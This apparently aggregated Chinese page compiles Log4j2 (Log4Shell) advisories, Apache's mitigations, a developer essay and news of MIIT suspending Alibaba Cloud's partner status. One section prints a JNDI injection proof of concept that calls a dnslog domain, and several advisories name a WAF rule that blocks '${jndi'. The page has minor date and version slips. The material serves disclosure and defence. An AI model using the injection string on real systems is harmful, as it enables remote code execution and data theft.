log4j2远程代码执行漏洞,阿里云回应被工信部严惩

log4j2远程代码执行漏洞,阿里云回应被工信部严惩详细介绍

本文目录一览： Apache Log4j2远程代码执行漏洞

一、情况分析
近日，监测发现互联网中出现 Apache Log4j2 远程代码执行漏洞。攻击者可利用该漏洞构造特殊的数据请求包，最终触发远程代码执行。由于该漏洞影响范围极广，建议广大用户及时排查相关漏洞。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。此次漏洞触发条件为只要外部用户输入的数据会被日志记录，即可造成远程代码执行。
由于Apache Log4j2在JAVA应用中使用量大，目前已知受影响的组件应用有：Apache Struts2、Apache Solr、Apache Druid、Apache Flink，但问题不仅仅局限在这些项目，用Java开发的系统都有可能用此日志框架。
二、影响范围
Apache Log4j 2.x <= 2.14.1
三、处置建议
1、升级Apache Log4j2所有相关应用到最新的log4j-2.15.0-rc1版本，地址https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1
2、升级已知受影响的应用及组件，如spring-boot-start-log4j2/Apache Solr/Apache Flink/Apache Druid
排查方法：到服务器搜索排查Java应用是否引入 log4j-api , log4j-core 两个jar包，影响版本：Apache Log4j 2.x <= 2.14.1
参考链接
https://github.com/apache/logging-log4j2
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

烽火狼烟丨Apache Log4j2远程代码执行漏洞（CVE44832）通告

漏洞概述

近日，WebRAY安全服务部监测到编号为CVE-2021-44832的Apache Log4j2远程代码执行漏洞。攻击者可以通过修改配置文件中JNDI 动态及远程获取数据库源处插入恶意代码，造成远程代码执行漏洞，但想要成功利用该漏洞需要攻击者有权限修改Log4j2的配置文件，利用难度较高。WebRAY安全服务部建议相关用户采取安全措施防止漏洞攻击。

Apache Log4j2是Log4j的升级版本，该版本与之前的log4j1.x相比性能显著提升；在修复了一些存在于Logback中固有的问题的同时，提供了很多在Logback中可用的性能。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

影响范围

2.0-beta7 <= Log4j2<= 2.17.0（不包括安全修复版本 2.3.2 和 2.12.4）

漏洞等级

WebRAY安全服务部风险评级：中危

修复建议

建议用户及时升级到Log4j 2.3.2（适用于Java 6）、2.12.4（适用于Java 7）或 2.17.1（适用于 Java 8 及更高版本），官方下载地址：
https://logging.apache.org/log4j/2.x/download.html

注：从2.17.1版本（适用于 Java 8 及更高版本）、2.12.4（适用于Java 7）、2.3.2（适用于Java 6）开始，已删除对LDAP协议的支持，并且 JNDI 连接仅支持JAVA协议。启用JNDI的属性已从“log4j2.enableJndi”重命名为三个单独的属性：log4j2.enableJndiLookup、log4j2.enableJndiJms和log4j2.enableJndiContextSelector。

参考链接

https://logging.apache.org/log4j/2.x/security.html
https://github.com/apache/logging-log4j2
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832

【预警通报】关于Apache Log4j2远程代码执行漏洞的紧急预警通报

近日，我中心技术支撑单位监测到Apache Log4j2远程代码执行高危漏洞，攻击者利用漏洞可以在目标服务器上执行任意代码。安全级别为“高危”。
一、漏洞情况
Apache Log4j2是一个基于Java的日志记录工具，存在JNDI注入漏洞，开发者可能会将用户输入导致的错误信息写入日志中，当程序将用户输入的数据进行日志记录时，即可触发此漏洞。
二、影响范围
Apache log4j2 2.0 - 2.14.1 版本均受影响。
三、处置建议
请广大用户更新官方安全补丁或升级到最新版本，并做好网络安全防护工作。
附件：参考链接 ：https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

log4j2漏洞CVE44228官方修复方案

apache官网发布了log4j2的漏洞修复方案，大致是这么说的

log4j团队注意到了安全漏洞CVE-2021-44228，这个问题已经在 Log4j 2.15.0版本里修复了。

Log4j’s JNDI支持没有限定哪个名字可以被用，一些协议是非安全的，可能会被允许远程代码执行。log4j现在限制了只有java、ldap和ladps可以使用此协议，并且限制了ldap协议只能在本地访问java的私有对象。

由于log4j允许在日志消息里查找，这个场景可能会导致漏洞爆出。在log4j 2.15.0里这个特性被默认禁用了。尽管提供了启动查找的方式，用户依然强烈反对启用它。

对于无法升级到2.15.0的，并且版本>=2.10的，这个漏洞可以通过设置jvm参数 log4j2.formatMsgNoLookups 或者环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为true的方法去减轻问题。对于 2.0-beta9 to 2.10.0,可以通过移除 JndiLookup 类的方式减轻，命令为：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。

以下为英文全文

The Log4j team has been made aware of a security vulnerability, CVE-2021-44228, that has been addressed in Log4j 2.15.0.

Log4j’s JNDI support has not restricted what names could be resolved. Some protocols are unsafe or can allow remote code execution. Log4j now limits the protocols by default to only java, ldap, and ldaps and limits the ldap protocols to only accessing Java primitive objects by default served on the local host.

One vector that allowed exposure to this vulnerability was Log4j’s allowance of Lookups to appear in log messages. As of Log4j 2.15.0 this feature is now disabled by default. While an option has been provided to enable Lookups in this fashion, users are strongly discouraged from enabling it.

For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true . For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class .

链接地址：https://logging.apache.org/log4j/2.x/

腾讯安全刚刚给出了Log4j2核弹级漏洞线上修复方案！紧急修复

2月9日晚，Apache Log4j2反序列化远程代码执行漏洞细节已被公开，Apache Log4j-2中存在JNDI注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行任意代码。
Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发，用来记录日志信息。大多数情况下，开发者可能会将用户输入导致的错误信息写入日志中。
因该组件使用极为广泛，利用门槛很低，危害极大，腾讯安全专家建议所有用户尽快升级到安全版本。
高危，该漏洞影响范围极广，利用门槛很低，危害极大。 CVSS评分：10（最高级）
Apache log4j2 >= 2.0,
Apache log4j2 2.15.0
综合国内机构意见，目前针对Apache Log4j漏洞的主要应对方法如下：
1.Apache Log4j 官方已经发布了解决上述漏洞的安全更新，建议受影响的用户尽快升级到安全版本：
安全版本 ：log4j-2.15.0-rc2
官方安全版本下载可以参考以下链接：
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2.建议对 Apache Struts2/Apache Solr/Apache Flink/Apache Druid 等已知受影响的应用及组件进行升级
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。
2.设置log4j2.formatMsgNoLookups=True。
3.设置系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 为 true。
4.采用 rasp 对lookup的调用进行阻断。
5.采用waf对请求流量中的${jndi进行拦截。
6.禁止不必要的业务访问外网。
腾讯安全服务解决方案： https://view.inews.qq.com/a/20211211A032S100

“网络大流感”Apache Log4j2漏洞来袭“云上企业”如何应对？

对于大部分互联网用户而言，Apache（阿帕奇）Log4j2是个陌生的词汇。但在很多程序员眼中，它却是陪伴自己的好伙伴，每天用于记录日志。然而，恰恰是这个被无数程序员每天使用的组件出现漏洞了。这个漏洞危害之大，甚至可能超过“永恒之蓝”。

安恒信息高级应急响应总监季靖评价称：“（Apache Log4j2）降低了黑客攻击的成本，堪称网络安全领域20年以来史诗级的漏洞。”有业内人士还认为，这是“现代计算机 历史 上最大的漏洞”。

工信部于2021年12月17日发文提示风险：“阿帕奇Log4j2组件存在严重安全漏洞……该漏洞可能导致设备远程受控，进而引发敏感信息窃取、设备服务中断等严重危害，属于高危漏洞。”

就连国家政府部门也中招了。2021年12月下旬，比利时国防部承认他们遭受了严重的网络攻击，该攻击基于Apache Log4j2相关漏洞，网络攻击导致比利时国防部包括邮件系统在内的一些业务瘫痪。

此漏洞“威力”之大，连国家信息安全也受到波及。那么普通企业，特别是采用云服务的企业应该如何应对呢？疫情发生以来，大量企业、机构加速数字化进程，成为“云上企业”。传统环境下，企业对自身的安全体系建设拥有更多掌控权，完成云迁移后，这些企业的云安全防护是否到位？

2021年12月9日深夜，Apache Log4j2远程代码执行漏洞攻击爆发，一时间各大互联网公司“风声鹤唳”，许多网络安全工程师半夜醒来，忙着修补漏洞。“听说各大厂程序员半夜被叫起来改，不改完不让下班。”相关论坛也对此事议论纷纷。

为何一个安全漏洞的影响力如此之大？安永大中华区网络安全与隐私保护咨询服务主管合伙人高轶峰认为：“影响广泛、威胁程度高、攻击难度低，使得此次Apache Log4j2漏洞危机备受瞩目，造成了全球范围的影响。”

“Log4j2是开源社区阿帕奇（Apache）旗下的开源日志组件，被全世界企业和组织广泛应用于各种业务系统开发”，季靖表示，“据不完全统计，漏洞爆发后72小时之内，受影响的主流开发框架都超过70个。而这些框架，又被广泛使用在各个行业的数字化信息系统建设之中，比如金融、医疗、互联网等等。由于许多耳熟能详的互联网公司都在使用该框架，因此阿帕奇Log4j2漏洞影响范围极大。”

除了应用广泛之外，Apache Log4j2漏洞被利用的成本相对而言也较低，攻击者可以在不需要认证登录这种强交互的前提下，构造出恶意的数据，通过远程代码对有漏洞的系统执行攻击。并且，它还可以获得服务器的最高权限，最终导致设备远程受控，进一步造成数据泄露，设备服务中断等危害。

不仅仅攻击成本低，而且技术门槛也不高。不像2017年爆发的“永恒之蓝”，攻击工具利用上相对复杂。基于Apache Log4j2漏洞的攻击者，可以利用很多现成的工具，稍微懂点技术便可以构造更新出一种恶意代码。

利用难度低、攻击成本低，意味着近期针对Apache Log4j2漏洞的攻击行为将还会持续一段时间，这将是一场“网络安全大流感”。

传统模式下，安全人员可以在本地检测、打补丁、修复漏洞。相对于传统模式，“云上企业”使用的是云计算、云存储服务等，没有自己的机房和服务器。进入云环境，安全防护的“边界”不复存在，对底层主机的控制权限也没有本地那么多，同时还多一层虚拟化方面的攻击方式。

特别是疫情影响下，大量企业、机构开启数字化转型，从本地服务器迁徙到云服务器。短时间内完成云迁移，企业很可能缺乏对应的云安全管理能力成熟度；同时，往往也面临着安全能力不足、专业人手紧缺等情况。

面对这场史诗级的漏洞危机，“云上企业”应该如何应对呢？

在安恒信息高级产品专家盖文轩看来：“企业上云之后，传统的网络安全风险依然存在，此外，还会面临新的安全风险，比如用户与云平台之间安全责任边界划分等问题。另外，传统的硬件设备可能不适用于云环境，因此需要针对特殊情况部署相关安全服务。”

而在安永大中华区 科技 风险咨询服务合伙人赵剑澐看来：“面对快速上云，企业急需搭建满足自身业务发展与管理要求的安全保障体系。”

那么，对于这些“云上企业”，究竟是选择云服务商提供的原生安全服务，还是另寻第三方专业的安全服务商呢？

事实上，目前即使是高度自动化的云原生安全方案，也无法做到完全自主自治，仍然需要合格的云安全服务专业团队参与。高轶峰强调，对于中小型企业，选择满足资质的第三方专业安全机构，能够保证服务的独立性，保障工作顺利开展及服务质量。

每日经济新闻

由log4j远程执行漏洞说起

这几天让IT从业人员忙的不可开交的头等大事便是Log4j的远程执行漏洞了，我们先看一个简单的PoC：

先前往dnslog网站，申请一个子域名，假如是“subdomain.dnslog.cn”。

然后执行java Main ${jndi:ldap://subdomain.dnslog.cn/any}，我们在dnslog网站上刷新请求记录，便会看到申请的子域名被访问了。

如果你是一个开发者，你会知道我们的代码里面毫无疑问充斥着大量这种用法。如果你是一个安全人员，自然知道当恶意访问人员输入时可不只是访问个域名就完事，很有可能把主机密码就传到指定网站了。

那解决的办法在各大厂、安全公司等也已经公布了，无非以下几种：

WAF或防火墙规则，我们先不聊，这个大公司都会做，但并不能完全解除问题。

我们把升级JDK、升级logback、替换成logback以及移除log4j的JNDI相关类都可以看作类库升级。一方面，这些方案都需要一个应用一个应用去执行（甚至有些需要一个一个实例去处理），重复劳动，投入较大；另一方面，兼容性存疑，在升级前必然要做一定的回归测试。此处的兼容性，可以略举一些例子：比如代码里写死了log4j的实现类，而不是slf4j的api时，想要直接替换成logback就不现实。有人可能会说代码规范不允许，但他们忘了，规范和执行是2个相关的事情，但不是必然的因果关系。比如一些只做维护的老系统，存在时间比很多人工龄都长，还有一些是外包产商开发维护的系统，这种情况就是稳定重于一切。

其余几个都是修改配置，但其中略有差异。比如环境变量影响操作系统上所有的应用，如果某个应用JDK版本较高，又刚好需要这个特性，那么就容易产生bug了。修改PatternLayout容易遗漏，比如通常在自己应用的log4j配置文件，但也有可能内部框架做了封装，在jar包有配置，甚至在代码里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout，也还是需要重新打包构建（除非有统一配置中心，并魔改log4j）。

综上来看，我们要避免开发人员修改、避免再次构建，只做重启的话，只能是修改环境变量或添加启动参数了。当然，每个公司有它自己的体系，某些时候大众意义的不好用对于它而言，反而是最简单的。比如，没有自动化（尤其是k8s）的公司，想要改启动参数，运维一个个实例去修改，那简直痛不欲生。

如果我们是log4j的开发人员，当产品经理提出一个需求，即碰到由“${”开头、“}”结尾的日志时，自动做替换，这个需求我们要不要做，怎么做。

刚入行的我是不会问要不要做的，只会想着怎么做，那自然是匹配、解析了。

有一定经验的我则会问这个需求为了解决什么问题，有没有比产品经理提的刚恰当的方式来解决（产品经理资历较浅，或者对产品不够熟悉时）。那我们可以看下log4j这个需求的提交记录最早可以追溯到2013年了，提交记录较多，可以通过代码反向推测需求：类似slf4j，将日志中的占位符替换成真实值，真实值可以延迟计算，计算来源支持扩展。

从代码看，目前已有的扩展包括ctx（日志事件的上下文）、date（日志事件产生的时间）、env（系统环境）、jndi（JNDI上下文获取）、map、sd（结构化事件类型中获取）、sys（系统属性）、web（从web.xml等取ServletContext）

需求是实现了，那还有吗？

如果是一个资深的研发人员就会问了，有预计的使用频率吗，如果使用频率非常高，性能就需要注意不能拖后腿；这个特性如果出现问题，需要关闭，最好能动态关闭；这个特性实际使用了多少次，耗时多少，报错多少；这个是否会在多线程环境下执行，这段代码是否线程安全；用户的输入能否对服务器产生破坏，保存后对其他用户是否产生安全问题。

在一个成熟的企业中，需要考虑诸如此类的问题。当然，很多东西可以模板化，减少开发人员心智，比如CI/CD实践中的自动化测试和DevSecOps。

为什么这次的影响这么大，因为它是基础库，比如dubbo、kafka、flink等很多框架和中间件都用到了它。同时，这从侧面说明log4j2是一个比较值得选取的日志库。

那回到技术选型，以日志为例，我们需要考虑哪些方面呢？

功能。功能是否契合企业需求，缺失功能是否在未来计划，或者扩展实现难度。如果功能都不满足，那自然pass。log4j、logback、log4j2都提供了将日志输出的功能，功能上都能满足，细节根据各企业自身情况而定了。

性能。性能自然是非常重要的，生产是没法debug的，只能通过日志来跟踪某一个事务的情况，如果日志耗时太多，TPS自然受影响，用户体验变差，还可能导致硬件成本上升。log4j2的性能就比logback要出色，logback比log4j要出色。

群众基础和易用性。如果没人会用，使用起来也困难，大概率很难被接受，也很难流行。文档是否介绍了架构设计，也有使用文档，文档是否支持多种语言（本土语言）。log4j2的配置就比较多，特别是想要较高性能时，配置更是复杂。

稳定性与活跃度。生产上使用，肯定要求稳，不可能三五天做一次修复升级。如果功能还未按计划完全实现，那么迭代升级过程中会碰到诸多问题，需要有较多的人提前使用反馈意见做改进，出现问题时，能够通过搜索引擎或其他社群解决。

开源协议。如果不开源，那么使用时心中便会有诸多不安，万一哪个地方有雷都不知道，出了问题，自己能解决的概率也极低。比如MySQL的双协议，要求要么交费，要么开源改动，不如Apache Licence等宽松，导致很多公司开始选择PostgreSQL。

生态。与企业的整套框架是否有冲突，开发流程上是否需要做额外的事情。比如很多框架用了log4j2，贸然引进logback，势必多出工作量来排除log4j2的依赖。比如开发流程工具只支持logback（当然这种场景基本没有），那么使用log4j2就需要再仔细想想了。

架构设计与代码质量。如果代码的架构设计较差，扩展性没设计好，那么企业内部做扩展（二次开发）时，只能修改代码，与源头分叉，后续几乎没法合并，无法反哺开源社区，企业内部后续升级也十分困难。如果代码质量太差，一步一坑，大家直接用脚投票的。

前瞻性。架构设计要有一定的前瞻性，以应对未来的变化。功能建设上也要有一定的前瞻性，实现、验证、上线三者之间还是需要一定时间的。比起等待，大部分人都是想我现在要。

阿里云回应被工信部严惩

阿里云回应被工信部严惩
阿里云回应被工信部严惩，此次事件，从侧面体现了计算机行业中普遍存在的意识疏漏。此次事件对行业的影响是正面的，这是一次警示、也是一次示范。阿里云回应被工信部严惩。
阿里云回应被工信部严惩1 12月23日晚间，阿里云计算有限公司（以下简称“阿里云”）对发现阿帕奇（Apache）Log4j2组件严重安全漏洞隐患后，未及时向电信主管部门报告的事件进行了回应，阿里云表示，阿里云因在早期未意识到该漏洞的严重性，未及时共享漏洞信息。阿里云将强化漏洞报告管理、提升合规意识，积极协同各方做好网络安全风险防范工作。

阿里云表示，近日，阿里云一名研发工程师发现Log4j2组件的一个安全bug，遂按业界惯例以邮件方式向软件开发方Apache开源社区报告这一问题请求帮助。Apache开源社区确认这是一个安全漏洞，并向全球发布修复补丁。随后，该漏洞被外界证实为一个全球性的重大漏洞。Log4j2 是开源社区阿帕奇（Apache）旗下的开源日志组件，被全世界企业和组织广泛应用于各种业务系统开发。

此前，阿里云因此事被罚。12月22日，工信部网络安全管理局通报称，阿里云是工信部网络安全威胁信息共享平台合作单位。近日，阿里云公司发现阿帕奇（Apache）Log4j2组件严重安全漏洞隐患后，未及时向电信主管部门报告，未有效支撑工信部开展网络安全威胁和漏洞管理。经研究，现暂停阿里云公司作为上述合作单位6个月。暂停期满后，根据阿里云公司整改情况，研究恢复其上述合作单位。
12月9日，工信部网络安全威胁和漏洞信息共享平台收到有关网络安全专业机构报告，阿帕奇Log4j2组件存在严重安全漏洞。工信部立即组织有关网络安全专业机构开展漏洞风险分析，召集阿里云、网络安全企业、网络安全专业机构等开展研判，通报督促阿帕奇软件基金会及时修补该漏洞，向行业单位进行风险预警。
该漏洞可能导致设备远程受控，进而引发敏感信息窃取、设备服务中断等严重危害，属于高危漏洞。为降低网络安全风险，提醒有关单位和公众密切关注阿帕奇Log4j2组件漏洞补丁发布，排查自有相关系统阿帕奇Log4j2组件使用情况，及时升级组件版本。
阿里云在中国云市场上占据着重要地位，此前，Canalys发布中国云计算市场2021年第三季度报告。报告显示，2021年第三季度中国云计算市场整体同比增长43%，达到72亿美元。阿里云在2021年第三季度以38.3%的份额领先中国大陆市场，33.3%的年收入增长主要受互联网、金融服务和零售行业的推动。
阿里云回应被工信部严惩2 近日，有媒体报道，阿里云发现阿帕奇Log4j2组件有安全漏洞，但未及时向电信主管部门报告，未有效支撑工信部开展网络安全威胁和漏洞管理。因此，暂停阿里云作为上述合作单位 6 个月。
原本一个技术圈子的事情因此成为社会热议话题。一时间网友分化为了两个圈子——
非技术圈的人说：感觉阿里云只报给阿帕奇这个技术社区，不上报组织，是没把国家安全放心上。
技术圈层说：当然是谁写的bug报给谁，阿帕奇的安全漏洞，报给阿帕奇是应该的，不能上纲上线。
23日晚间，阿里云就log4j2漏洞发布了说明，诚恳认错，表示要强化漏洞报告管理、提升合规意识，积极协同各方共同做好网络安全防范工作。
回顾这个非常技术的话题，有诸多事实需要厘清。
首先，阿帕奇开源社区是什么？Log4j2组件是什么？
阿帕奇是国际上比较有影响力的一个开源社区。官网上显示，华为、腾讯、阿里等中国公司是这个开源社区的主要贡献者，另外也包括谷歌、微软等美国企业。全球的软件工程师，在这里共建一些基础的软件部件，相互迭代、提高公共效率，是软件产业的一个特有现象。

本次发现漏洞的Log4j2 就是开源社区阿帕奇旗下的开源日志组件，很多企业都会会用这个组件来开发自己的系统。在阿里云的工程师发现这个组件有问题的时候，就邮件询问了阿帕奇，请社区确认这是否是一个漏洞、评估影响范围。
而后阿帕奇确认这是一个漏洞，并通知开发者们修补这个漏洞。于是，出现了天涯共此时，一起改漏洞的局面。
但阿里云遗漏了不久前上线的一个官方上报平台，仅仅按业界的惯例向以邮件方式向软件开发方Apache开源社区报告这一问题请求帮助。
其次，工信部暂停阿里云6个月合作单位资格，意味着什么？
据工信微报——「12月9日，工业和信息化部网络安全威胁和漏洞信息共享平台收到有关网络安全专业机构报告，阿帕奇Log4j2组件存在严重安全漏洞。工业和信息化部立即组织有关网络安全专业机构开展漏洞风险分析，召集阿里云、网络安全企业、网络安全专业机构等开展研判，通报督促阿帕奇软件基金会及时修补该漏洞，向行业单位进行风险预警。」
媒体报道的暂停6个月合作单位资格，并未出现在公开渠道。据业内人士分析，这并不是一个严格意义上的“处罚”，否则不可能不公开通报。其次，网络安全威胁和漏洞信息共享平台是一个收集、通报网络安全漏洞的平台，暂停这个平台的合作资质并不对业务造成影响。

工信部关于Log4j2漏洞的风险提示
但此次事件，从侧面体现了计算机行业中普遍存在的意识疏漏。在国内计算机行业几十年的发展过程中，大量从业人员、组织养成了与开源社区合作的工作习惯，但对更高层面的`安全意识、合规意识，在思想上、制度上都有所不足。阿里云的漏报行为，也是这一意识疏漏的一次具体体现。
整体而言，此次事件对行业的影响是正面的，这是一次警示、也是一次示范。阿里云是行业领先的IT企业，这也是能够率先发现全球重大安全漏洞的原因，而此次事件的发生，无疑将会增强计算机行业的安全合规意识，可以想见，无论是阿里云、还是其他诸多科技企业，都将在企业和组织内部增强合规培训和流程规范。
阿里云回应被工信部严惩3 近期，工信部网络安全管理局通报称，阿里云计算有限公司发现阿帕奇（Apache）Log4j2组件严重安全漏洞隐患后，未及时向电信主管部门报告，未有效支撑工信部开展网络安全威胁和漏洞管理。
通报指出，阿里云是工信部网络安全威胁信息共享平台合作单位。经研究，工信部网络安全管理局决定暂停阿里云作为上述合作单位6个月。暂停期满后，根据阿里云整改情况，研究恢复其上述合作单位。
观察者网日前曾对该事件做过详细报道，11月24日，阿里云发现这个可能是“计算机历史上最大的漏洞”后，率先向阿帕奇软件基金会披露了这一漏洞，但并未及时向中国工信部通报相关信息。这一漏洞的存在，可以让网络攻击者无需密码就能访问网络服务器。

工信部通报阿帕奇Log4j2组件重大安全漏洞
阿帕奇（Apache）Log4j2组件是基于Java语言的开源日志框架，被广泛用于业务系统开发。近日，阿里云计算有限公司发现阿帕奇Log4j2组件存在远程代码执行漏洞，并将漏洞情况告知阿帕奇软件基金会。
该漏洞可能导致设备远程受控，进而引发敏感信息窃取、设备服务中断等严重危害，属于高危漏洞。为降低网络安全风险，提醒有关单位和公众密切关注阿帕奇Log4j2组件漏洞补丁发布，排查自有相关系统阿帕奇Log4j2组件使用情况，及时升级组件版本。
工业和信息化部网络安全管理局将持续组织开展漏洞处置工作，防范网络产品安全漏洞风险，维护公共互联网网络安全。

怎么检查有没有Apache Log4j漏洞

1、人工检测
jar解压后是否存在org/apache/logging/log4j相关路径结构，判断是否使用了存在漏洞的组件，若存在相关Java程序包，则很可能存在该漏洞。
应用程序能引用 org.apache.logging.log4j的包，很大概率存在漏洞
如果应用程序引用了 log4j-core-2.xx.xx.jar 或 log4j-api-2.xx.x.jar 很大概率存在漏洞。
如果pom文件引用了以下

org.apache.logging.log4j

log4j-core

2.xx.x

org.apache.logging.log4j

log4j-api

2.xx.xx

也是存在漏洞。
修复方法：
官方补丁
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
临时解决方案
1. 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true”
2. 设置“log4j2.formatMsgNoLookups=True”
3. 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
————————————————

【文/观察者网 吕栋】
这事缘起于一个月前。当时，阿里云团队的一名成员发现阿帕奇（Apache）Log4j2组件严重安全漏洞后，随即向位于美国的阿帕奇软件基金会通报，但并没有按照规定向中国工信部通报。事发半个月后，中国工信部收到网络安全专业机构的报告，才发现阿帕奇组件存在严重安全漏洞。
阿帕奇组件存在的到底是什么漏洞？阿里云没有及时通报会造成什么后果？国内企业在发现安全漏洞后应该走什么程序通报？观察者网带着这些问题采访了一些业内人士。
漏洞银行联合创始人、CTO张雪松向观察者网指出，Log4j2组件应用极其广泛，漏洞危害可以迅速传播到各个领域。由于阿里云未及时向中国主管部门报告相关漏洞，直接造成国内相关机构处于被动地位。
关于Log4j2组件在计算机网络领域的关键作用，有国外网友用漫画形式做了形象说明。按这个图片解读，如果没有Log4j2组件的支撑，所有现代数字基础设施都存在倒塌的危险。
国外社交媒体用户以漫画的形式，说明Log4j2的重要性
观察者网梳理此次阿帕奇严重安全漏洞的时间线如下：
根据公开资料，此次被阿里云安全团队发现漏洞的Apache Log4j2是一款开源的Java日志记录工具，控制Java类系统日志信息生成、打印输出、格式配置等，大量的业务框架都使用了该组件，因此被广泛应用于各种应用程序和网络服务。
有资深业内人士告诉观察者网，Log4j2组件出现安全漏洞主要有两方面影响：一是Log4j2本身在java类系统中应用极其广泛，全球Java框架几乎都有使用。二是漏洞细节被公开，由于利用条件极低几乎没有技术门槛。因适用范围广和漏洞利用难度低，所以影响立即扩散并迅速传播到各个行业领域。
简单来说，这一漏洞可以让网络攻击者无需密码就能访问网络服务器。
这并非危言耸听。美联社等外媒在获取消息后评论称，这一漏洞可能是近年来发现的最严重的计算机漏洞。Log4j2在全行业和政府使用的云服务器和企业软件中“无处不在”，甚至犯罪分子、间谍乃至编程新手，都可以轻易使用这一漏洞进入内部网络，窃取信息、植入恶意软件和删除关键信息等。
阿里云官网截图
然而，阿里云在发现这个“过去十年内最大也是最关键的单一漏洞”后，并没有按照《网络产品安全漏洞管理规定》第七条要求，在2天内向工信部网络安全威胁和漏洞信息共享平台报送信息，而只是向阿帕奇软件基金会通报了相关信息。
观察者网查询公开资料发现，阿帕奇软件基金会（Apache）于1999年成立于美国，是专门为支持开源软件项目而办的一个非营利性组织。在它所支持的Apache项目与子项目中，所发行的软件产品都遵循Apache许可证（Apache License）。
12月10日，在阿里云向阿帕奇软件基金会通报漏洞过去半个多月后，中国国家信息安全漏洞共享平台才获得相关信息，并发布《关于Apache Log4j2存在远程代码执行漏洞的安全公告》，称阿帕奇官方已发布补丁修复该漏洞，并建议受影响用户立即更新至最新版本，同时采取防范性措施避免漏洞攻击威胁。
中国国家信息安全漏洞共享平台官网截图
事实上，国内网络漏洞报送存在清晰流程。业内人士向观察者网介绍，业界通用的漏洞报送流程是，成员单位>工业和信息化部网络安全管理局 >国家信息安全漏洞共享平台（CNVD） CVE 中国信息安全测评中心 > 国家信息安全漏洞库（CNNVD）> 国际非盈利组织CVE；非成员单位或个人注册提交CNVD或CNNVD。
根据公开资料，CVE（通用漏洞共享披露）是国际非盈利组织，全球通用漏洞共享披露协调企业修复解决安全问题，由于最早由美国发起该漏洞技术委员会，所以组织管理机构主要在美国。而CNVD是中国的信息安全漏洞信息共享平台，由国内重要信息系统单位、基础电信运营商、网络安全厂商、软件厂商和互联网企业建立的信息安全漏洞信息共享知识库。
上述业内人士认为，阿里这次因为漏洞影响较大，所以被当做典型通报。在CNVD建立之前以及最近几年，国内安全人员对CVE的共识、认可度和普及程度更高，发现漏洞安全研究人员惯性会提交CVE，虽然最近两年国家建立了CNVD，但普及程度不够，估计阿里安全研究员提交漏洞的时候，认为是个人技术成果的事情，上报国际组织协调修复即可。
但根据最新发布的《网络产品安全漏洞管理规定》，国内安全研究人员发现漏洞之后报送CNVD即可，CNVD会发起向CVE报送流程，协调厂商和企业修复安全漏洞，不允许直接向国外漏洞平台提交。
由于阿里云这次的行为未有效支撑工信部开展网络安全威胁和漏洞管理，根据工信部最新通报，工信部网络安全管理局研究后，决定暂停阿里云作为上述合作单位6个月。暂停期满后，根据阿里云整改情况，研究恢复其上述合作单位。
业内人士向观察者网指出，工信部这次针对是阿里，其实也是向国内网络安全行业从业人员发出警示。从结果来看对阿里的处罚算轻的，一是没有踢出成员单位，只是暂停6个月。二是工信部没有对这次事件的安全研究人员进行个人行政处罚或警告，只是对直接向国外CVE报送的Log4j漏洞的那个安全专家点名批评。
本文系观察者网独家稿件，未经授权，不得转载。